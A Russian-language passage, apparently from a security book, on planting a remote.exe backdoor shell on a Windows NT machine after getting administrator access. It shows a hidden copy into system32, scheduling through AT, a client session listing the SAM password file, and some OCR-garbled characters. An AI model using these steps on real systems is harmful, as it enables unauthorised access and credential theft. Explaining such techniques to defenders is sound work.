Удаленное управление и потайные ходы
Удаленное управление и потайные ходы
Мы не раз отмечали, что в системе NT недостаточно хорошо обстоят дела с удаленным выполнением команд, однако до этого момента картина освещалась несколько однобоко. Дело в том, что после получения статуса администратора у взломщика появляется целый ряд возможностей выполнения таких операций.
Утилита remote.exe (NTRK)
В состав NTRK входят две утилиты, обеспечивающие удаленное выполнение команд: Remote Command Line (remote.exe) и Remote Command Service (rcmd.exe и rcmdsvc.exe, клиент и сервер соответственно). Эти утилиты включены лишь в серверный вариант NTRK.
Из них большую угрозу представляет утилита remote.exe, поскольку ее легче установить и она более проста в использовании. Сложность применения rcmdsvc. exe в основном объясняется тем, что ее нужно установить и запустить на удаленном компьютере как службу, тогда как remote.exe не нуждается в дополнительных средствах и может работать как в режиме сервера, так и в режиме клиента. Нужный режим легко задать с помощью параметра командной строки (remote.exe /С— для клиента, remote.вхв /S —- для сервера). Однако с утилитой remote.exe возникает другая проблема из разряда "Что было раньше — курица или яйцо?" Дело в том, что для ее запуска на удаленном компьютере в качестве сервера сначала необходимо, чтобы на этом компьютере было разрешено удаленное выполнение команд. Эта проблема решается только при наличии доступа в качестве администратора, с использованием службы Schedule системы NT, также известной как команда AT (которая доступна только администраторам).
Для начала нужно скопировать файл remote. exe в каталог удаленной системы, в котором разрешено выполнение программ. Проще всего это сделать, подключившись к совместно используемому системному ресурсу с$ в качестве администратора и скопировать указанный файл в каталог %systemroot%\system32. При этом утилита, с одной стороны, будет находиться в каталоге, в котором Windows по умолчанию производит поиск выполняемых файлов, а с другой — ее будет трудно случайно обнаружить среди множества разных системных файлов.
Затем необходимо запустить скопированную утилиту remote. exe с помощью команды AT. Однако, прежде чем это сделать, нужно провести подготовительную работу. Во-первых, на удаленной системе должна быть запушена служба Schedule. С этой задачей может справиться еще одна прекрасная утилита Service Controller (sc.exe) из набора NTRK. После этого с помощью команды net time необходимо сверить часы локальной системы с часами удаленной, как показано ниже.
С:\> ас \\192.168.202.44 start schedule
SERVICE_NAME: schedule
TYPE 10 WIN32_OWN_PROCESS
STATE 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE 0 (0x0)
SERVICE_EXIT_CODE 0 (0x0)
CHECKPOINT 0x0
WAIT_HINT OxVdO
C:\> net time \\192.168.202.44
Current time at \\192.168.202.44 is 5/29/99 10:38 PM
The command completed successfully.
Для запуска команд в течение нескольких секунд можно использовать утилиту soon из набора NTRK.
Теперь можно воспользоваться командой AT и запустить экземпляр remote. exe в серверном варианте, запланировав запуск через две минуты от текущего времени взламываемого компьютера (для использования в команде пробелов ее необходимо заключить в двойные кавычки). С помощью второй команды, как показано ниже, можно убедиться, что задание было запланировано корректно (для исправления ошибок воспользуйтесь первой командой AT с параметром [номер задания] /delete).
С:\> at \\192.168.202.44 10:40Р ""remote /s cmd
secret""
Added a new job with job ID = 2
C:\> at \\192.168.202.44
Status ID Day Time Command Line
2 Today 10:40 PM remote /s cmd secret
D:\> remote /с 192.168.202.44 secret
*****************************
*********** remote **********
*********** CLIENT **********
*****************************
Connected..
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1998 Microsoft Corp.
C:\> dir winnt\repair\sam._
dir winnt\repair\sam._ Volume in drive С has no label.
Volume Serial Number is D837-926F
Directory of C:\winnt\repair
05/29/99 04:43p 10,406 sam.
_1 File(s) 10,406 bytes
1,243,873,280 bytes free
C:\> @q
*** SESSION OVER ***
D:\>
Наконец, необходимо отметить еще одно важное свойство утилиты remote.exe, которое заключается в поддержке именованных каналов. Она будет работать на любых двух узлах, поддерживающих один и тот же протокол — IPX, TCP/IP либо NetBEUI.